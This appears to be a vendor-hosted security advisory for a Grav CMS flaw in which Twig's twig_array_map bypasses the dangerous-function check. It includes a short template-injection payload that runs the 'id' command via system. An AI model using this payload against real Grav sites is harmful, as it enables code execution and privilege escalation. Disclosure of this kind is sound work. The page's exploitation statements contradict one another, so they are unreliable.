Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-qfv4-q44r-g7rv
No affected components available
Summary
Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands.
Details
{{ grav.twig.twig.getFunction('twig_array_map')|var_dump }}
When we accessed twig_array_map like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twig_array_map without any restrictions.
{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}
Since there is no validation on twig_array_map itself, it is possible to call arbitrary function using call_user_func.
PoC
{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}
Impact
Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard